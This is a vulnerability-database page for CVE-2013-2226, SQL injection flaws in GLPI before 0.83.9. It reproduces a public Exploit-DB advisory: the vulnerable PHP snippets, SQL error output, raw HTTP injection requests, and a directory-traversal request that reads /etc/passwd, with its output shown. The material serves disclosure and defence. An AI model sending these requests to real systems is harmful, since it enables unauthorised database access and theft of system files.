CVE-2013-2226

high
Published 2014-05-14 ยท Modified 2026-05-06
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.5

Description

Multiple SQL injection vulnerabilities in GLPI before 0.83.9 allow remote attackers to execute arbitrary SQL commands via the (1) users_id_assign parameter to ajax/ticketassigninformation.php, (2) filename parameter to front/document.form.php, or (3) table parameter to ajax/comments.php.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-26366 webapps php text ยท 11 KB
LiquidWorm ยท 2013-06-21

GLPI 0.83.8 - Multiple Vulnerabilities

text exploit Source: Exploit-DB

GLPI v0.83.8 Multiple Error-based SQL Injection Vulnerabilities


Vendor: INDEPNET Development Team
Product web page: http://www.glpi-project.org
Affected version: 0.83.7 and 0.83.8

Summary: GLPI, an initialism for Gestionnaire libre de parc informatique
(Free Management of Computer Equipment), was designed by Indepnet
Association (a non profit organisation) in 2003. GLPI is a free
asset and IT management software package, it also offers functionalities
like servicedesk ITIL or license tracking and software auditing.

Desc: Input passed via the POST parameter 'users_id_assign' in
'/ajax/ticketassigninformation.php' script, POST parameter 'filename'
in '/front/document.form.php' script, and POST parameter 'table' in
'glpi/ajax/comments.php' script is not properly sanitised before
being used in SQL queries. This can be exploited by a malicious
attacker to manipulate SQL queries by injecting arbitrary SQL code
in the affected application.


======================================================================
/inc/db.function.php:
---------------------

274: function countElementsInTable($table, $condition="") {
275: global $DB;
276:
277: if (is_array($table)) {
278: $table = implode('`,`',$table);
279: }
280:
281: $query = "SELECT COUNT(*) AS cpt
282: FROM `$table`";
283:
284: if (!empty($condition)) {
285: $query .= " WHERE $condition ";
286: }
287:
288: $result =$DB->query($query);
289: $ligne  = $DB->fetch_array($result);
290: return $ligne['cpt'];
291: }

----------------------------------------------------------------------

*** MySQL query error :
***
SQL: SELECT COUNT(*) AS cpt
FROM `glpi_tickets`,`glpi_tickets_users` WHERE `glpi_tickets_users`.`tickets_id` = `glpi_tickets`.`id`
AND `glpi_tickets_users`.`users_id` = \'2\'\'
AND `glpi_tickets_users`.`type` = \'2\'
AND `glpi_tickets`.`is_deleted` = 0
AND `glpi_tickets`.`status`
NOT IN (\'solved\', \'closed\')
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'
AND `glpi_tickets`.`is_deleted` = 0
' at line 3
Backtrace :
/var/www/html/glpi/inc/db.function.php :288		DBmysql->query()
/var/www/html/glpi/inc/commonitilobject.class.php :362		countElementsInTable()
/var/www/html/glpi/ajax/ticketassigninformation.php :66		CommonITILObject->countActiveObjectsForTech()
/var/www/html/glpi/ajax/ticketassigninformation.php


======================================================================
/inc/document.class.php:
------------------------

1221: static function isValidDoc($filename) {
1222: global $DB;
1223:
1224: $splitter = explode(".",$filename);
1225: $ext      = end($splitter);
1226:
1227: $query="SELECT *
1228: FROM `glpi_documenttypes`
1229: WHERE `ext` LIKE '$ext'
1230: AND `is_uploadable`='1'";
1231:
1232: if ($result = $DB->query($query)) {
1233: if ($DB->numrows($result)>0) {
1234: return Toolbox::strtoupper($ext);
1235: }
1236: }
1237: return "";
1238: }

----------------------------------------------------------------------

*** MySQL query error :
***
SQL: SELECT *
FROM `glpi_documenttypes`
WHERE `ext` LIKE \'1\'\'
AND `is_uploadable`=\'1\'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' at line 3
Backtrace :
/var/www/html/glpi/inc/document.class.php :1232		DBmysql->query()
/var/www/html/glpi/inc/document.class.php :1088		Document::isValidDoc()
/var/www/html/glpi/inc/document.class.php :275		Document::uploadDocument()
/var/www/html/glpi/inc/commondbtm.class.php :878		Document->prepareInputForUpdate()
/var/www/html/glpi/front/document.form.php :99		CommonDBTM->update()
/var/www/html/glpi/front/document.form.php


======================================================================
/inc/dbmysql.class.php:
-----------------------

364: function list_tables($table="glpi_%") {
365: return $this->query("SHOW TABLES LIKE '".$table."'");
366: }

----------------------------------------------------------------------

*** MySQL query error :
***
SQL: SHOW TABLES LIKE \'%glpi_users\'%\'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
Backtrace :
/var/www/html/glpi/glpi/inc\dbmysql.class.php :365		DBmysql->query()
/var/www/html/glpi/inc/db.function.php :1182		DBmysql->list_tables()
/var/www/html/glpi/ajax/comments.php :47		TableExists()
/var/www/html/glpi/ajax/comments.php

======================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN) - Apache/2.4.3, PHP/5.4.7
           Linux CentOS 6.0 (Final) - Apache/2.2.15, PHP/5.3.3



Vulnerabilities discovered by Humberto Cabrera
                              @dniz0r
                              Zero Science Lab - http://www.zeroscience.mk


Advisory ID: ZSL-2013-5145
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5145.php


09.05.2013

----------------
{1}


POST /glpi/ajax/ticketassigninformation.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/glpi/front/ticket.form.php
Content-Length: 17
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

users_id_assign=2{SQL_Injection}


----------------
{2}


POST /glpi/front/document.form.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/glpi/front/document.form.php?id=4
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------19302542618340
Content-Length: 1699

-----------------------------19302542618340
Content-Disposition: form-data; name="entities_id"

0
-----------------------------19302542618340
Content-Disposition: form-data; name="is_recursive"

0
-----------------------------19302542618340
Content-Disposition: form-data; name="name"

test
-----------------------------19302542618340
Content-Disposition: form-data; name="comment"

test
-----------------------------19302542618340
Content-Disposition: form-data; name="current_filepath"


-----------------------------19302542618340
Content-Disposition: form-data; name="current_filename"


-----------------------------19302542618340
Content-Disposition: form-data; name="filename"; filename=1{SQL_Injection}
Content-Type: application/octet-stream


-----------------------------19302542618340
Content-Disposition: form-data; name="upload_file"


-----------------------------19302542618340
Content-Disposition: form-data; name="link"

test
-----------------------------19302542618340
Content-Disposition: form-data; name="documentcategories_id"

0
-----------------------------19302542618340
Content-Disposition: form-data; name="mime"

application/octet-stream
-----------------------------19302542618340
Content-Disposition: form-data; name="update"

Update
-----------------------------19302542618340
Content-Disposition: form-data; name="_read_date_mod"

2013-06-14 20:27:56
-----------------------------19302542618340
Content-Disposition: form-data; name="id"

4
-----------------------------19302542618340
Content-Disposition: form-data; name="_glpi_csrf_token"

f27853afa3e705b5042c0ae4d135679c
-----------------------------19302542618340--


----------------
{3}


POST /glpi/ajax/comments.php HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Content-Length: 59
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://localhost/glpi/front/planning.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=frk5prfmarsc9ebo1u751skkb2

value=5&table=glpi_users{SQL Injection}&withlink=comment_link_uID302668907


----------------

#################################################################################################################

๏ปฟ
GLPI v0.83.7 (itemtype) Parameter Traversal Arbitrary File Access Exploit


Vendor: INDEPNET Development Team
Product web page: http://www.glpi-project.org
Affected version: 0.83.7

Summary: GLPI, an initialism for Gestionnaire libre de parc informatique
(Free Management of Computer Equipment), was designed by Indepnet
Association (a non profit organisation) in 2003. GLPI is a free
asset and IT management software package, it also offers functionalities
like servicedesk ITIL or license tracking and software auditing.

Desc: GLPI suffers from a file inclusion vulnerability (LFI) when input
passed thru the 'filetype' parameter to 'common.tabs.php' script is not
properly verified before being used to include files. This can be exploited
to include files from local resources with directory traversal attacks
and URL encoded NULL bytes.

========================================================================
/ajax/common.tabs.php:
----------------------

46: if (!isset($_REQUEST['itemtype']) || empty($_REQUEST['itemtype'])) {
47: exit();
62: $item = new $_REQUEST['itemtype'])();

========================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN) - Apache/2.4.3, PHP/5.4.7
           Linux CentOS 6.0 (Final) - Apache/2.2.15, PHP/5.3.3



Vulnerabilities discovered by Humberto Cabrera
                              @dniz0r
                              Zero Science Lab - http://www.zeroscience.mk


Advisory ID: ZSL-2013-5145
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5145.php


09.05.2013

---


POST /glpi/ajax/common.tabs.php?_dc=1371234969991 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/glpi/front/user.form.php?id=2
Content-Length: 75
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

target=/glpi/front/user.form.php&itemtype=../../../../../../../../../../../../../../../../etc/passwd%00User&glpi_tab=Profile_User$1&id=2

---

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
..
..

Application impact

VendorProductVersionsFixed
glpi-projectglpi{"endIncluding":"0.83.8"}
glpi-projectglpi0.83
glpi-projectglpi0.83.1
glpi-projectglpi0.83.2
glpi-projectglpi0.83.3
glpi-projectglpi0.83.4
glpi-projectglpi0.83.5
glpi-projectglpi0.83.6
glpi-projectglpi0.83.7
glpi-projectglpi0.83.31

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.